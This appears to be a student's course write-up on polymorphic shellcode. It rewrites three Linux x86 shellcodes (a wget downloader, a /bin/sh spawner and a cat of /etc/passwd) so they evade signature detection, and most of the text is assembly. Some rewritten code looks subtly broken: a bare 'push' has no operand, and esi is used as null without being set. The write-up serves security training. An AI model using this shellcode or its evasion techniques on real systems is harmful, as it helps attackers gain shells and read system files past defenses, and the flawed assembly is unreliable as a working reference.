SLAE: Polymorphic Shellcode
*all supporting code can be found here*
Student ID: SLAE - 1532
Assignment 6 tasks us to take three shellcodes from shell-storm and create polymorphic versions of them, to avoid pattern and signature detection.
In layman’s terms, this essentially means we will rewrite the assembly code to perform the same function, but with as many different ways of doing so as possible.
The only constraint we have is that our polymorphic version cannot be more than 150% larger than our sample. Likewise we receive bonus points for making our code shorter than the original.
Shellcode 1:
We start with polymorphing a basic wget payload:
http://shell-storm.org/shellcode/files/shellcode-611.php
Original:
Shellcode length: 42
08048054 <.text>:
8048054: 6a 0b push $0xb
8048056: 58 pop %eax
8048057: 99 cltd
8048058: 52 push %edx
8048059: 68 61 61 61 61 push $0x61616161
804805e: 89 e1 mov %esp,%ecx
8048060: 52 push %edx
8048061: 6a 74 push $0x74
8048063: 68 2f 77 67 65 push $0x6567772f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 68 2f 75 73 72 push $0x7273752f
8048072: 89 e3 mov %esp,%ebx
8048074: 52 push %edx
8048075: 51 push %ecx
8048076: 53 push %ebx
8048077: 89 e1 mov %esp,%ecx
8048079: cd 80 int $0x80
804807b: 40 inc %eax
804807c: cd 80 int $0x80
*/
global _start
I made some basic adjustments, to the point it is quite different from the original and only 9 bytes longer, 123% larger.
Polymorphic:
Shellcode Length: 51
global _start
section .text
_start:
xor ecx, ecx
mul ecx ; this one instruction sets both eax and edx to 0, this is because mul results are stored in EAX and EDX
push eax
mov cl, 11
a:
inc eax ; increment cl 11 times to set to execve syscall
loop a
push 0x63636363
mov ecx, esp ; the null and "cccc" get moved to ecx
push edx
push 0x74 ;t
push 0x6567772f ;egw/
push 0x6e69622f ;nib/
push 0x7273752f ;rsu/
mov ebx, esp ; they then get moved into ebx
push esi ; push a null
mov esi, ecx ; move ecx args into esi (0x0,0x63636363)
push esi
push ebx
mov ecx, esp
int 0x80
inc edx
mov eax, edx
int 0x80
Shellcode 2:
Next a shell-spawn, a simple /bin/sh
http://shell-storm.org/shellcode/files/shellcode-811.php
Rather than simply pushing on /bin//sh like a boring pleb, we will reduce the value by 0x10 (16) and then increment via a loop.
Our polymorphic version is 8 bytes longer, keeping us under the threshold at 128% larger
Original:
Shellcode length: 28
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80
Polymorphic:
Shellcode length: 36
global _start
section .text
_start:
xor ecx, ecx
mul ecx
push eax
mov cl, 16
mov edi, 0x68732f1f
mov edx, 0x6e69621f
a:
inc edi
inc edx
loop a
push edi
push edx
mov ebx, esp
mov ecx, esi
mov edx, esi
mov al, 0xb
int 0x80
inc esi
int 0x80
Shellcode 3:
The last shellcode will invoke execve once more, this time to cat the contents of etc/passwd.
http://shell-storm.org/shellcode/files/shellcode-571.php
Quite a few additions and changes have been made, and we just scraped by with a polymorphic version that is 21 bytes longer and 148.84% larger. I certainly could have reduced the size by taking a different route, however wanted to be creative with how I changed the code and so I opted to use up my 150% size allowance.
The most noticeable is that the original strings containing commands as arguments have been either reduced or increased, with loop functions bringing them back to what they should be while stored in registers, before before pushed to the stack.
Original:
Shellcode length: 43
const char shellcode[]="\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
Polymorphic:
Shellcode length: 64
xor ecx, ecx
mul ecx
push esi
mov cl, 16
mov edi, 0x7461633f
mov edx, 0x6e69623f
a:
dec edi
dec edx
loop a
push edi
push edx
mov ebx, esp
push
mov edi, 0x64777363
mov edx, 0x61702f1f
mov esi, 0x6374651f
mov cl, 16
b:
inc edi
inc edx
inc esi
loop b
push edi
push edx
push esi
mov ecx, esp
mov al, 11
push edx
push ecx
push ebx
mov ecx, esp
int 0x80